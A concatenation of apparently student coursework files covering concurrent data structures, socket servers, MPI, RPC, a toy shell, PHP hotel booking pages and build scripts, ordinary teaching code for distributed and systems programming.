<NAME>, rkj800, 2526314 * <NAME>, rtt210, 2526863 * * Program: CoarseGrainedList.java * This program implements the a concurrent data structure (list) with coarse * grained synchronization. Locks are obtained on the whole datastructure, * so no other thread can manipulate the datastructure concurrenty. */ package data_structures.implementation; import data_structures.Sorted; import java.util.concurrent.locks.ReentrantLock; public class CoarseGrainedList<T extends Comparable<T>> implements Sorted<T> { private Node head; private ReentrantLock lock = new ReentrantLock(); /** * Constructor. init head and tail node */ public CoarseGrainedList() { head = new HeadNode(); head.next = new TailNode(); } /** * adds an item to the datastructure. * * @param T t value of item of the new node. */ public void add(T t) { Node pred, curr; lock.lock(); try { pred = head; curr = head.next; while(curr.compareTo(t) == -1) { pred = curr; curr = curr.next; } Node node = new ListNode(t, curr); pred.next = node; } finally { lock.unlock(); } return; } /** * Find the node with value t and removes it * It traversers the list from the head to the element * to be removed. * * @param T t value of node to be removed */ public void remove(T t) { Node pred, curr; lock.lock(); try { pred = head; curr = head.next; /* find the place in the list the Node with item t should be */ while(curr.compareTo(t) == -1) { pred = curr; curr = curr.next; } /* Remove the node if it has the item t */ if(curr.compareTo(t) == 0) pred.next = curr.next; } finally { lock.unlock(); } return; } /** * prints the datastructure * @return String */ public String toString() { String s = ""; Node node = head; while(node.next.item != null) { node = node.next; s += node.item + " "; } return s; } abstract class Node { T item = null; Node next = null; protected abstract int compareTo(T t); } /* sentinal head node */ class HeadNode extends Node { protected int compareTo(T t) { return -1; } } /* sentinal tail node */ class TailNode extends Node { protected int compareTo(T t) { return 1; } } /* normal list node */ class ListNode extends Node { ListNode(T t, Node n) { item = t; next = n; } protected int compareTo(T t) { return item.compareTo(t); } } } <file_sep><!DOCTYPE HTML> <html> <head> <title>hotel list</title> </head> <body> <table> <tr> <th>Price</th> <th>150</th> <th>200</th> <th>200</th> </tr> <tr> <td>Rooms Available</td> <?php include "hotel.php"; # connect to hotelgw $socket = connect(); if($socket == NULL) echo "Cant connect to the hotel server"; else { $out = ''; $bla = ''; # send list command to hotelgw socket_write($socket, "list", 4); # retrieve list output while($out = socket_read($socket, 2048)) $bla .= $out; # split input on tab $rooms = explode("\t", $bla); # print the values as link in the table foreach ($rooms as $value) { echo " <td>$value</td>\n"; } } ?> </tr> </table> </body> </html> <file_sep>#include "mpi.h" #include "tab.h" /* print commandline arguments */ void usage() { } void get_arguments(int argc, char *argv[], int *n) { int i; for(i = 1; i < argc; i++) { if(!strcmp(argv[i], "-random")) { i++; (*n) = atoi(argv[i]); } } } /* calculates distance: sum of values in array */ int distance(int *tab, int n) { int i; long dist = 0; for(i = 0; i < n; i++) dist += tab[i]; return dist; } int main(int argc, char *argv[]) { int m, n=4, **tab, **tab_tmp; int ierr, p, rank; int amount; int *send, *recv, recvcnt; int *sendcnts, *displs; long d, tot_d; double wtime = 0; //usage(); get_arguments(argc, argv, &n); ierr = MPI_Init(&argc, &argv); if(ierr != MPI_SUCCESS) { perror("MPI init error"); exit(-1); } /* get size and rank */ /* TODO error checking */ ierr = MPI_Comm_size(MPI_COMM_WORLD, &p); ierr = MPI_Comm_rank(MPI_COMM_WORLD, &rank); /* start timing on master */ if(!rank) wtime = MPI_Wtime(); /* send n to all processes */ MPI_Bcast(&n, 1, MPI_INT, 0, MPI_COMM_WORLD); /* calculate the amount of elements each process gets */ amount = n * n / p; /* initialize send (on master) and recv buffers */ if(!rank) { init_tab(n, &m, &tab_tmp, 1, &send); } ierr = allo_tab_part(n, n/p, &tab, &recv); /* send parts of tab to 'slaves' */ MPI_Scatter(send, amount, MPI_INT, recv, amount, MPI_INT, 0, MPI_COMM_WORLD); //MPI_Sctterv(send, /* calculate the distance of your own parts */ d = distance(recv, amount); /* send distance to master and add the values */ MPI_Reduce(&d, &tot_d, 1, MPI_LONG, MPI_SUM, 0, MPI_COMM_WORLD); /* calculate and print calculation time */ if(!rank) { wtime = MPI_Wtime() - wtime; fprintf(stderr, "ASP took %f seconds\n", wtime); } /* print the total distance */ if(!rank) printf("Distance: %ld\n", tot_d); /* free buffers */ if(!rank) { free(tab_tmp); free(send); } free(tab); free(recv); /* terminate MPI execution environment */ MPI_Finalize(); return 0; } <file_sep>#include <libnet.h> libnet_t *libnet_context; void init_libnet(); void send_packet(char *source, u_int16_t src_prt, u_int16_t dst_prt,\ u_int32_t seq, u_int32_t ack, u_int8_t control, u_int8_t *payload, u_int32_t payload_s); <file_sep><!DOCTYPE HTML> <html> <head> <title>hotel book</title> </head> <body> <?php if(isset($_POST['type']) && isset($_POST['name'])): include "hotel.php"; # connect to hotelgw $socket = connect(); if($socket == NULL) echo "Cant connect to the hotel server"; else { $book_req = "book " .$_POST['type'] . " '" . $_POST['name'] . "'"; $response = ''; $out = ''; socket_write($socket, $book_req, strlen($book_req)); while($out = socket_read($socket, 2048)) $response .= $out; if($response == "true") echo "Booking confirmed"; else echo "Booking denied"; } else: ?> <form name="input" action="hotelbook.php" method="post"> Type: <select name="type"> <option value="1">1: $150</option> <option value="2">2: $200</option> <option value="3">3: $200</option> </select><br /> Name: <input type="text" name="name"><br /> <input type="submit" value="Submit"> </form> <?php endif; ?> </body </html> <file_sep>#!/bin/bash java -cp ${0/%hotelclient/} HotelClient $@ <file_sep>all: hotelgwclient.c gcc hotelgwclient.c -o hotelgwclient clean: rm hotelgwclient <file_sep>CC=gcc all: $(CC) -Wall -c -o papers.o papers.c $(CC) -o papers papers.o ../paper/paper_xdr.o ../paper/paper_clnt.o -lnsl $(CC) -Wall -c -o paperview.o paperview.c $(CC) -o paperview paperview.o ../paper/paper_xdr.o ../paper/paper_clnt.o -lnsl clean: rm papers <file_sep>CLASSPATH = /Users/rikvanderkooij/Downloads/hadoop-1.1.1/hadoop-core-1.1.1.jar:/Users/rikvanderkooij/Downloads/hadoop-1.1.1/lib/log4j-1.2.15.jar all: javac -classpath $(CLASSPATH) TermVectorPerHost.java #jar -cf TermVectorPerHost.jar manifest.txt *.class jar -cf TermVectorPerHost.jar *.class clean: rm -fv $(CDIR)/* TermVectorPerHost.jar <file_sep>#include <stdio.h> #include <stdlib.h> #include <string.h> #include <sys/time.h> #define MAX_DISTANCE 256 int allo_tab_part(int n, int rows, int ***tabptr, int **p); int allocate_tab(int n, int ***tabptr, int **p); void init_tab(int n, int *mptr, int ***tabptr, int oriented, int **p); int read_tab(char *INPUTFILE, int *nptr, int *mptr, int ***tabptr, int *optr, int **p); void free_tab(int **tab, int n); void print_tab(int **tab, int n); <file_sep>CC = civcc ASM = civas SDIR = src/ BDIR = bin/ EXE = $(patsubst %.cvc,%, $(shell ls $(SDIR))) MKDIR = mkdir -p $(BDIR) all: bin $(EXE) rm *.s bin: echo $(EXE) $(MKDIR) %: %.s $(ASM) $^ -o $(BDIR)$@ %.s: $(SDIR)%.cvc $(CC) $^ clean: rm -rf bin <file_sep>/* Assignment 2 - Distributed Programming with Sockets * serv1.c * * author: <NAME> * VUnet-ID: rkj800 * date: 26-09-2012 */ #include <stdio.h> #include <stdlib.h> #include <netdb.h> #include <sys/socket.h> #include <sys/types.h> #include <netinet/in.h> #include <arpa/inet.h> #include <errno.h> #include "writen_error.h" int main(int argc, const char *argv[]) { int socket_fd, child_fd, counter = 1, optval = 1, tmp, error; struct sockaddr_in addr; size_t n; socklen_t len; /* create socket */ socket_fd = socket(AF_INET, SOCK_STREAM, 0); error_handling(socket_fd, "socket creation error"); addr.sin_family = AF_INET; addr.sin_port = htons(1234); addr.sin_addr.s_addr = htonl(INADDR_ANY); /* set socket options and check for errors */ error = setsockopt(socket_fd, SOL_SOCKET, SO_REUSEADDR,\ (const void *)&optval , sizeof(int)); error_handling(error, "setsocketopt error"); /* bind protocol address to the socket */ error = bind(socket_fd, (struct sockaddr *) &addr, sizeof addr); error_handling(error, "bind error"); /* passive socket needed for server */ error = listen(socket_fd, 5); error_handling(error, "socket listen error"); while(1) { /* accept incomming connects */ child_fd = accept(socket_fd, (struct sockaddr*) &addr, &len); error_handling(child_fd, "socket accept error"); /* send counter value to client */ tmp = htonl(counter++); n = writen(child_fd, &tmp, sizeof(counter)); error_handling(n - 4, "less than 4 bites written"); close(child_fd); } return 0; } <file_sep>/* * Please do not edit this file. * It was generated using rpcgen. */ #ifndef _ADD_H_RPCGEN #define _ADD_H_RPCGEN #define RPCGEN_VERSION 199506 #include <rpc/rpc.h> struct paper { long len; char *val; }; typedef struct paper paper; #ifdef __cplusplus extern "C" bool_t xdr_paper(XDR *, paper*); #elif __STDC__ extern bool_t xdr_paper(XDR *, paper*); #else /* Old Style C */ bool_t xdr_paper(); #endif /* Old Style C */ struct str_add { char *name; char *title; struct paper p; }; typedef struct str_add str_add; #ifdef __cplusplus extern "C" bool_t xdr_str_add(XDR *, str_add*); #elif __STDC__ extern bool_t xdr_str_add(XDR *, str_add*); #else /* Old Style C */ bool_t xdr_str_add(); #endif /* Old Style C */ struct str_list { int number; char *name; char *title; struct str_list *next; }; typedef struct str_list str_list; #ifdef __cplusplus extern "C" bool_t xdr_str_list(XDR *, str_list*); #elif __STDC__ extern bool_t xdr_str_list(XDR *, str_list*); #else /* Old Style C */ bool_t xdr_str_list(); #endif /* Old Style C */ struct str_info { int number; char *name; char *title; }; typedef struct str_info str_info; #ifdef __cplusplus extern "C" bool_t xdr_str_info(XDR *, str_info*); #elif __STDC__ extern bool_t xdr_str_info(XDR *, str_info*); #else /* Old Style C */ bool_t xdr_str_info(); #endif /* Old Style C */ typedef int int_out; #ifdef __cplusplus extern "C" bool_t xdr_int_out(XDR *, int_out*); #elif __STDC__ extern bool_t xdr_int_out(XDR *, int_out*); #else /* Old Style C */ bool_t xdr_int_out(); #endif /* Old Style C */ #define PAPER_SERVER ((rpc_uint)0x20002345) #define PAPER_VERSION ((rpc_uint)1) #ifdef __cplusplus #define ADD ((rpc_uint)1) extern "C" int_out * add_1(str_add *, CLIENT *); extern "C" int_out * add_1_svc(str_add *, struct svc_req *); #define REMOVE ((rpc_uint)2) extern "C" int_out * remove_1(int *, CLIENT *); extern "C" int_out * remove_1_svc(int *, struct svc_req *); #define LIST ((rpc_uint)3) extern "C" str_list * list_1(void *, CLIENT *); extern "C" str_list * list_1_svc(void *, struct svc_req *); #define INFO ((rpc_uint)4) extern "C" str_info * info_1(int *, CLIENT *); extern "C" str_info * info_1_svc(int *, struct svc_req *); #define FETCH ((rpc_uint)5) extern "C" paper * fetch_1(int *, CLIENT *); extern "C" paper * fetch_1_svc(int *, struct svc_req *); #elif __STDC__ #define ADD ((rpc_uint)1) extern int_out * add_1(str_add *, CLIENT *); extern int_out * add_1_svc(str_add *, struct svc_req *); #define REMOVE ((rpc_uint)2) extern int_out * remove_1(int *, CLIENT *); extern int_out * remove_1_svc(int *, struct svc_req *); #define LIST ((rpc_uint)3) extern str_list * list_1(void *, CLIENT *); extern str_list * list_1_svc(void *, struct svc_req *); #define INFO ((rpc_uint)4) extern str_info * info_1(int *, CLIENT *); extern str_info * info_1_svc(int *, struct svc_req *); #define FETCH ((rpc_uint)5) extern paper * fetch_1(int *, CLIENT *); extern paper * fetch_1_svc(int *, struct svc_req *); #else /* Old Style C */ #define ADD ((rpc_uint)1) extern int_out * add_1(); extern int_out * add_1_svc(); #define REMOVE ((rpc_uint)2) extern int_out * remove_1(); extern int_out * remove_1_svc(); #define LIST ((rpc_uint)3) extern str_list * list_1(); extern str_list * list_1_svc(); #define INFO ((rpc_uint)4) extern str_info * info_1(); extern str_info * info_1_svc(); #define FETCH ((rpc_uint)5) extern paper * fetch_1(); extern paper * fetch_1_svc(); #endif /* Old Style C */ #endif /* !_ADD_H_RPCGEN */ <file_sep>/* Assignment 1 - Unix Multiprocessing * mysh2.c * * author: <NAME> * VUnet-ID: rkj800 * date: 20-09-2012 */ #include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #include <sys/types.h> /* get the arguments from the input */ void get_arguments(char* input, char** args) { int i = 0; char *token = strtok(input, " "); do { args[i++] = token; } while(token = strtok(NULL, " ")); args[i] = NULL; } int main(int argc, const char* argv[]) { char input[512], *args[256]; pid_t child_id; int i; /* run the shell forever */ while(1) { fputs("$ ", stdout); fflush(stdout); /* get user input */ if(!fgets(input, 512, stdin) || !strcmp(input, "exit\n")) break; /* exit on EOF or exit command */ /* remove newline at the end */ input[strlen(input) - 1] = '\0'; /* create argument array */ get_arguments(input, args); child_id = fork(); if(!child_id) { /* child executes given command */ execvp(args[0], args); printf("-bash: %s: command not found\n", input); break; /* exit child on command error */ } else if(child_id > 0) /* wait for child to end */ waitpid(child_id, 0, 0); } return 0; } <file_sep>from twisted.internet import reactor from twisted.internet.protocol import Factory, Protocol from proto import * import sys, os, errno, subprocess from subprocess import Popen class Client: def mkdir(self, path): try: os.makedirs(path) except OSError as e: if e.errno == errno.EEXIST and os.path.isdir(path): pass else: raise def dump_streams(self, out, err, msg): jobfolder = os.path.join(self.base, str(msg.job.job_id)) self.mkdir(jobfolder) f = open(os.path.join(jobfolder, 'out'), 'w') f.write(out) f.close() f = open(os.path.join(jobfolder, 'err'), 'w') f.write(err) f.close() f = open(os.path.join(jobfolder, 'param'), 'w') f.write(msg.job.command) f.close() def execute(self, msg): p = Popen(msg.job.command, stdout=subprocess.PIPE, stderr=subprocess.PIPE, shell = True) out, err = p.communicate() self.dump_streams(out, err, msg) return msg def __init__(self, instance_type, node_id, log_dir): self.instance_type = instance_type self.base = log_dir self.node_id = node_id def got_server_connection(server, client_mechanism): client_mechanism.server = server node = NodeInfo(client_mechanism.client.instance_type, client_mechanism.client.node_id) msg = MessageObject('info', None, node) server.callRemote("message", msg, client_mechanism) def main(argv=None): if argv is None: argv = sys.argv if len(argv) != 6: print('Usage: {0} server_ip server_port instance_type node_id log_dir' .format(argv[0])) return -1 client = Client(argv[3], argv[4], argv[5]) client_mech = ClientMechanism(client) f = CustomClientFactory() reactor.connectTCP(argv[1], int(argv[2]), f) d = f.getRootObject() d.addCallback(got_server_connection, client_mech) reactor.run() if __name__ == "__main__": sys.exit(main()) <file_sep>#!/bin/sh java -server -Xms200M -Xmx200M -cp build/jar/data_structures.jar data_structures.Main $* <file_sep>/* Assignment 2 - Distributed Programming with Sockets * serv3.c * * author: <NAME> * VUnet-ID: rkj800 * date: 26-09-2012 */ #include <stdio.h> #include <stdlib.h> #include <unistd.h> #include <netdb.h> #include <sys/socket.h> #include <sys/types.h> #include <sys/wait.h> #include <sys/sem.h> #include <netinet/in.h> #include <arpa/inet.h> #include <errno.h> #include <sys/ipc.h> #include <sys/shm.h> #include <signal.h> #include "writen_error.h" #define NUM_CHILD 5 pid_t children[NUM_CHILD]; int shmid, *counter, sem; struct sembuf up = {0, 1, 0}; struct sembuf down = {0, -1, 0}; /* terminate all children, remove the shared memory * and remove the semaphore when a SIGINT signal */ void sig_int(int signo) { int i, err_shm = 0, err_sem; /* terminate all children */ for (i = 0; i < NUM_CHILD; i++) kill(children[i], SIGTERM); while (wait(NULL) > 0); /* wait for all children */ /* report error when removing share memory, * but continue to remove the semaphore */ err_shm = shmctl(shmid, IPC_RMID, 0); if(err_shm == -1) perror("error removing shared memory"); /* we can exit on semaphore remove error */ err_sem = semctl(sem, 0, IPC_RMID); error_handling(err_sem, "error removing semaphore"); /* still exit with -1 when removing shared * memory failed, but removing semaphore * was successful */ exit(err_shm); } /* function which creates a child to handle * incoming connections. The parent returns * with the process id of the child */ pid_t make_child(int i, int socket_fd, socklen_t len, int sem) { pid_t child_id; int child_fd, tmp, n; struct sockaddr_in addr; /* create child process */ child_id = fork(); error_handling(child_id, "fork error"); /* parent returns with child pid */ if(child_id > 0) return child_id; /* reset child signal handling for SIGINT */ signal(SIGINT, SIG_IGN); while(1) { /* accept incoming connects */ child_fd = accept(socket_fd, (struct sockaddr*) &addr, &len); error_handling(child_fd, "socket accept error"); /* safely increase the counter by one * using a semaphore and temporary * store it in network byte order */ semop(sem, &down, 1); tmp = htonl((*counter)++); semop(sem, &up, 1); /* send the in network byte order counter * value to the client */ n = writen(child_fd, &tmp, sizeof(tmp)); error_handling(n - 4, "less than 4 bites written"); /* don't leave the file descriptor open */ close(child_fd); } } int main(int argc, const char *argv[]) { int socket_fd, optval = 1, tmp, error, i; char input[512]; struct sockaddr_in addr; size_t n; socklen_t len; pid_t child_id; /* kill all children when the parent terminates */ signal(SIGINT, sig_int); /* create a socket */ socket_fd = socket(AF_INET, SOCK_STREAM, 0); error_handling(socket_fd, "socket creation error"); addr.sin_family = AF_INET; addr.sin_port = htons(1234); addr.sin_addr.s_addr = htonl(INADDR_ANY); /* set socket options and check for errors */ error = setsockopt(socket_fd, SOL_SOCKET, SO_REUSEADDR,\ (const void *)&optval , sizeof(int)); error_handling(error, "setsocketopt error"); /* bind protocol address to the socket */ error = bind(socket_fd, (struct sockaddr *) &addr, sizeof addr); error_handling(error, "bind error"); /* passive socket needed for server */ error = listen(socket_fd, 5); error_handling(error, "socket listen error"); /* ignore child exists (kill zombies) */ signal(SIGCHLD, SIG_IGN); /* create semaphore and shared memory */ sem = semget(IPC_PRIVATE, 1, 0600); semop(sem, &up, 1); shmid = shmget(IPC_PRIVATE, sizeof(int), 0600); error_handling(shmid, "shmget error"); counter = (int *) shmat(shmid, 0, 0); /* counter starts by 1 */ *counter = 1; /* create NUM_CHILD children to handle incoming * connections from clients */ for(i = 0; i < NUM_CHILD; i++) { children[i] = make_child(i, socket_fd, len, sem); } close(socket_fd); printf("Server is terminated with 'exit' command, ctr+D or ctr+C\n"); /* parent waits for 'exit' command, * ctr+D or ctr+C to terminate */ while(1) if(!fgets(input, 512, stdin) || !strcmp(input, "exit\n")) /* terminate all children, remove semaphores * and shared memory before terminating */ sig_int(0); /* this is never reached */ return 0; } <file_sep>VU == VU Computer Science Master assignment 1 =========== ## Coarse Grained List > ### Estimate performance > Every thread that uses this list will lock the > whole data structure before entering the critical section. > The critical section in this case is: > 1. lookup > 2. inserting/deleting. > The lookup will be different for inserting and deletion. > > Let X and Y be a Thread that both have items to add to the list. For every > item, the thread X and Y will have to require a lock. So > if X has the lock, Thread Y has to wait until Thread X is > done with 1. and 2. > This means that any number of Threads will have to wait before they can start > doing anything with the data structure. Which will exactly be the same > as a sequential implementation of the linked list data structure. > #### performance hypothesis > E: number of elements > T: number of threads > A: amount of work per thread > if E grows and T stays equal, only the lookup could influence the performance. > i.e. more lookups, more work > if T grows and E stays equal, there will be no influence on the performance. > ### Implementation approach > > ## Coarse Grained Tree > ### Estimate performance > The Course Grained synchronization in a tree also locks the entire > data structure. By inserting an item the lookup and inserting will have to > require a lock. Thread Y also needs to wait until > Thread X is done with these operation for inserting and deleting. > > #### performance hypothesis > E: number of elements > T: number of threads > A: amount of work per thread > if E grows and T stays equal, only the lookup could influence the performance. > i.e. more lookups, more work > if T grows and E stays equal, there will be no influence on the performance. > #### Implementation Approach > > > <file_sep><!DOCTYPE HTML> <html> <head> <title>hotel participants</title> </head> <body> <?php include "hotel.php"; # connect to hotelgw $socket = connect(); if($socket == NULL) echo "Cant connect to the hotel server"; else { $quests_req = "guests"; $response = ''; $out = ''; socket_write($socket, $quests_req, strlen($quests_req)); while($out = socket_read($socket, 2048)) $response .= $out; $guests = explode("'", $response); for($i = 0; $i < count($guests); $i++) if(($i % 2) != 0) echo $guests[$i] . "<br />"; } ?> </body> </html> <file_sep>#include "tab.h" /* allocate a 2d array with n columns and row rows */ int allo_tab_part(int n, int row, int ***tabptr, int **ptr) { int i; int *p = (int *)malloc(n * row * sizeof(int)); if(!(p)) return -1; (*tabptr) = (int **)malloc(row * sizeof(int *)); if(!(*tabptr)) { free(p); return -1; } for(i = 0; i < row; i++) (*tabptr)[i] = &(p[i * n]); (*ptr) = p; return 0; } int allocate_tab(int n, int ***tabptr, int **ptr) { return allo_tab_part(n, n, tabptr, ptr); } void init_tab(int n, int *mptr, int ***tabptr, int oriented, int **ptr) { int **tab; int i, j, m=n*n; if(allocate_tab(n, tabptr, ptr) == -1) exit(42); tab = *tabptr; for(i = 0; i < n; i++) { tab[i][i] = 0; for(j = 0; j < i; j++) { tab[i][j] = 1+(int)((double)MAX_DISTANCE*rand()/(RAND_MAX+1.0)); if(oriented) tab[j][i] = 1+(int)((double)MAX_DISTANCE*rand()/(RAND_MAX+1.0)); else tab[j][i] = tab[i][j]; if(tab[i][j]==MAX_DISTANCE) m--; if(tab[j][i]==MAX_DISTANCE) m--; } } *mptr = m; } int read_tab(char *INPUTFILE, int *nptr, int *mptr, int ***tabptr, int *optr, int **p) { int **tab; int i,j,n,m; int source, destination, weight; FILE* fp; int bad_edges=0, oriented=0; fp = fopen(INPUTFILE, "r"); fscanf(fp, "%d %d %d \n", &n, &m, &oriented); #ifdef VERBOSE printf("%d %d %d\n", n,m,oriented); #endif tab =(int **)malloc(n * sizeof(int *)); if(tab == (int **)0) { fprintf(stderr,"cannot malloc distance table\n"); exit(42); } for(i = 0; i < n; i++) { tab[i] =(int *)malloc(n * sizeof(int)); if(tab[i] == (int *)0) { fprintf(stderr,"cannot malloc distance table\n"); exit(42); } for(j = 0; j < n; j++) { tab[i][j] =(i == j) ? 0 : MAX_DISTANCE; } } while(!feof(fp)) { fscanf(fp, "%d %d %d \n", &source, &destination, &weight); if(!oriented) if(tab[source-1][destination-1] < MAX_DISTANCE) bad_edges++; else { tab[source-1][destination-1]=weight; tab[destination-1][source-1]=weight; } else tab[source-1][destination-1]=weight; } fclose(fp); #ifdef VERBOSE for(i=0; i<n; i++) { for(j=0; j<n; j++) printf("%5d", tab[i][j]); printf("\n"); } #endif *tabptr=tab; *nptr=n; *mptr=m; *optr=oriented; return bad_edges; } void free_tab(int **tab, int n) { free(tab[0]); free(tab); } void print_tab(int **tab, int n) { int i, j; for(i=0; i<n; i++) { for(j=0; j<n; j++) printf("%3d ", tab[i][j]); printf("\n"); } } <file_sep>/* Assignment 1 - Unix Multiprocessing * synthread1.c * * author: <NAME> * VUnet-ID: rkj800 * date: 20-09-2012 */ #include <stdio.h> #include <stdlib.h> #include <unistd.h> #include <sys/wait.h> #include <sys/types.h> #include <pthread.h> /* mutex for mutual exclusion of display method */ pthread_mutex_t mutexsum; void display(char *str) { char *tmp; for(tmp = str;*tmp;tmp++) { write(1,tmp,1); usleep(100); } } /* run method for threads */ void *run(void *param) { int i; for(i = 0; i < 10; i++) { /* lock mutex to create mutual exclusion for display method */ pthread_mutex_lock(&mutexsum); display(param); pthread_mutex_unlock(&mutexsum); } return; } int main() { int hel, bon; pthread_t hel_id, bon_id; pthread_mutex_init(&mutexsum, NULL); /* create threads with the corresponding strings */ hel = pthread_create(&hel_id, NULL, run, "Hello world\n"); bon = pthread_create(&bon_id, NULL, run, "Bonjour monde\n"); /* exit on thread error */ if(hel == -1 || bon == -1) { perror("Threads creation error"); exit(-1); } /* join threads and destroy mutex before exiting */ pthread_join(hel_id, NULL); pthread_join(bon_id, NULL); pthread_mutex_destroy(&mutexsum); return 0; } <file_sep>from pylab import * data = {'cgl': 0, 'fgl': 1, 'lfl': 2, 'cgt': 3, 'fgt': 4, 'lft': 5} file = open("test2.txt", 'r') plots = [[]*6 for x in xrange(6)] while 1: line = file.readline() if not line: break line = line.split(' ') plots[data[line[0]]].append(int(line[4][:-1])) x = [10000, 20000, 30000, 40000, 50000, 60000, 70000, 80000, 90000, 100000] figure() title("List elements benchmark") plot(x, plots[0], label="CGL") plot(x, plots[1], label="FGL") plot(x, plots[2], label="LFL") legend(loc=2) show() figure(1) title("Tree elements benchmark") plot(x, plots[3], label="CGT") plot(x, plots[4], label="FGT") plot(x, plots[5], label="LFT") legend(loc=2) show() <file_sep>/* Assignment 2 - Distributed Programming with Sockets * talk.c * * author: <NAME> * VUnet-ID: rkj800 * date: 26-09-2012 */ #include <stdio.h> #include <stdlib.h> #include <unistd.h> #include <netdb.h> #include <sys/socket.h> #include <sys/types.h> #include <sys/wait.h> #include <sys/sem.h> #include <netinet/in.h> #include <arpa/inet.h> #include <errno.h> #include <sys/ipc.h> #include <sys/shm.h> #include <string.h> #include "writen_error.h" /* function waits for input from user * and sends it over the socket to * the other talk user * * an exit command or ctr+D terminates * the talk program/processes */ void wait_for_input(int socket_fd) { int n; char input[512]; while(1) { /* get input from user. terminate on * a 'exit' command or a ctr+D */ if(!fgets(input, 512, stdin) || !strcmp(input, "quit()\n")) { /* since the connection is closed we * should notify/shutdown the other * talk user by sending a \0 char */ n = writen(socket_fd, '\0', sizeof input); break; } /* send the input over the socket to the other user */ n = writen(socket_fd, &input, sizeof input); error_handling(n - (sizeof input), "not full input written"); } close(socket_fd); return; } /* function waits for for a message * from the other talk user and * writes it to stdout * * terminate when no bytes are read * from the socket */ void wait_for_message(int socket_fd) { int n; char message[512]; /* initialize the message string as empty */ memset(message, 0, 512); while(1) { n = read(socket_fd, message, 511); /* terminate when we dont read * anything/connection closes */ if(n == 0) /* we can just exit as a child since * the parent process terminates on * oru SIGCHLD singal */ exit(-2); printf("%s", message); } return; } /* create two processes: * one to handle input from * the user which it sends * over the connected socket_fd * * and one to wait for messages * from the other user to print * on the screen */ pid_t start_input_output(int socket_fd) { pid_t child_id; child_id = fork(); error_handling(child_id, "fork error"); /* the parent handles input and sets * SIGCHLD signal to terminate itself * when the child terminates*/ if(child_id) { signal(SIGCHLD, exit); wait_for_input(socket_fd); } else /* the child waits for messages from * the other talk user */ wait_for_message(socket_fd); return child_id; } /* creates a socket as a server and * waits for an incomming talk client. * * the return value is used for the * parent process to terminate its * child */ pid_t start_as_server() { int socket_fd, child_fd, error, optval = 1; struct sockaddr_in addr; socklen_t len; pid_t child_id; /* create socket */ socket_fd = socket(AF_INET, SOCK_STREAM, 0); error_handling(socket_fd, "socket creation error"); addr.sin_family = AF_INET; addr.sin_port = htons(1234); addr.sin_addr.s_addr = htonl(INADDR_ANY); /* set socket options and check for errors */ error = setsockopt(socket_fd, SOL_SOCKET, SO_REUSEADDR,\ (const void *)&optval , sizeof(int)); error_handling(error, "setsocketopt error"); /* bind protocol address to the socket */ error = bind(socket_fd, (struct sockaddr *) &addr, sizeof addr); error_handling(error, "bind error"); /* passive socket needed for server */ error = listen(socket_fd, 5); error_handling(error, "socket listen error"); /* accept connecting client */ child_fd = accept(socket_fd, (struct sockaddr*) &addr, &len); error_handling(child_fd, "socket accept error"); /* and messages from other talk user */ return start_input_output(child_fd); } /* creates a socket as a client and * connect to a talk server * * the return value is used for the * parent process to terminate its * child */ pid_t start_as_client(const char *name) { int socket_fd, error; pid_t child_id; struct addrinfo *res0, *res, hints; memset(&hints, 0, sizeof hints); hints.ai_family = AF_INET; hints.ai_socktype = SOCK_STREAM; /* get a list of address */ error = getaddrinfo(name, "1234", &hints, &res); error_handling(error, "getaddrinfo error"); /* find a socket which we can connect to */ for(res0 = res; res0; res0 = res->ai_next) { socket_fd = socket(res0->ai_family, res->ai_socktype, res->ai_protocol); if(connect(socket_fd, res0->ai_addr, res->ai_addrlen) >= 0) break; } /* exit the client when no connection is found */ if(!res0) { perror("No connection found"); exit(-1); } /* connection is established start * two processes to handle user input * and messages from other talk user */ return start_input_output(socket_fd); } int main(int argc, const char *argv[]) { pid_t child_id; /* start as server when no * input is given */ if(argc < 2) child_id = start_as_server(); else /* input is server address, * start as client */ child_id = start_as_client(argv[1]); /* upon returning from start_as_server * or start_as_client we want to terminate. * parents should terminate the child * * children should not be able to reach * this */ if(child_id) { /* safety check */ kill(child_id, SIGTERM); waitpid(child_id, 0, 0); } return 0; } <file_sep>$(CC)=gcc all: mysh syn java mysh: $(CC) mysh1.c -o mysh1 $(CC) mysh2.c -o mysh2 $(CC) mysh3.c -o mysh3 syn: $(CC) syn1.c -o syn1 $(CC) syn2.c -o syn2 $(CC) synthread1.c -o synthread1 $(CC) synthread2.c -o synthread2 java: javac syn1.java javac syn2.java clean: rm mysh1 mysh2 mysh3 syn1 syn2 synthread1 synthread2 *.class *.aux *.log <file_sep>CC = gcc CFLAGS = -Wall LDLIBS = -lnet -lpcap all: main main: send.o receive.o send.o: send.h receive.o: receive.h clean: rm -f *.o main <file_sep>#include <stdio.h> #include <stdlib.h> #include <string.h> #include <errno.h> #include <unistd.h> #include "paper.h" CLIENT *cl; /* displays the available command-line options available */ void show_options(const char *str) { printf("usage: %s <hostname> <action> <arguments>\n", str); printf("actions:\n"); printf("store article: add <Author Name> <Paper Title> <file>\n"); printf("remove article: remove <number>\n"); printf("list articles: list\n"); printf("article info: info <number>\n"); printf("fetch an article: fetch <number>\n\n"); printf("example remove: %s localhost remove 4\n", str); exit(-1); } /* checks whether a string represends a * valid number * * return 0 if not and 1 otherwise */ int is_a_number(const char *str) { char *end; strtol(str, &end, 10); if (end == str || *end != '\0' || errno == ERANGE) return 0; else return 1; } /* sends a paper to the server which * should be added */ void add(const char **arg) { FILE *f; long size; int number; str_add paper; /* store name and title */ paper.name = (char *)arg[0]; paper.title = (char *)arg[1]; f = fopen(arg[2], "rb"); if(f == NULL) { printf("File %s not found", arg[2]); exit(-1); } /* set file position indicator * to the end of the file */ if(fseek(f, 0L, SEEK_END) == -1) { perror("fseek failed"); exit(-1); } /* get the size of the file */ size = ftell(f); if(size < 0) { perror("ftell failed"); exit(-1); } /* set the file position indicator * to the start of the file */ rewind(f); /* store the paper size */ paper.p.len = size; /* read file and store it */ paper.p.val = malloc(sizeof(char) * size); if(paper.p.val == NULL) { perror("malloc failed"); exit(-1); } fread(paper.p.val, 1, size, f); fclose(f); /* give rpc add request to server */ number = *add_1(&paper, cl); printf("%d\n", number); return; } /* remove a paper from the server */ void remove_paper(char* num) { int number; /* convert string to number */ number = atoi(num); /* give rpc remove request to server */ remove_1(&number, cl); return; } /* list the information of all papers * currently stored at the server */ void list() { str_list *i; /* get the list from the server */ i = list_1(NULL, cl); /* traverse the list and print the number * name and title of the papers */ while(i != NULL) { printf("%d\t%s\t%s\n", i->number, i->name, i->title); i = i->next; } 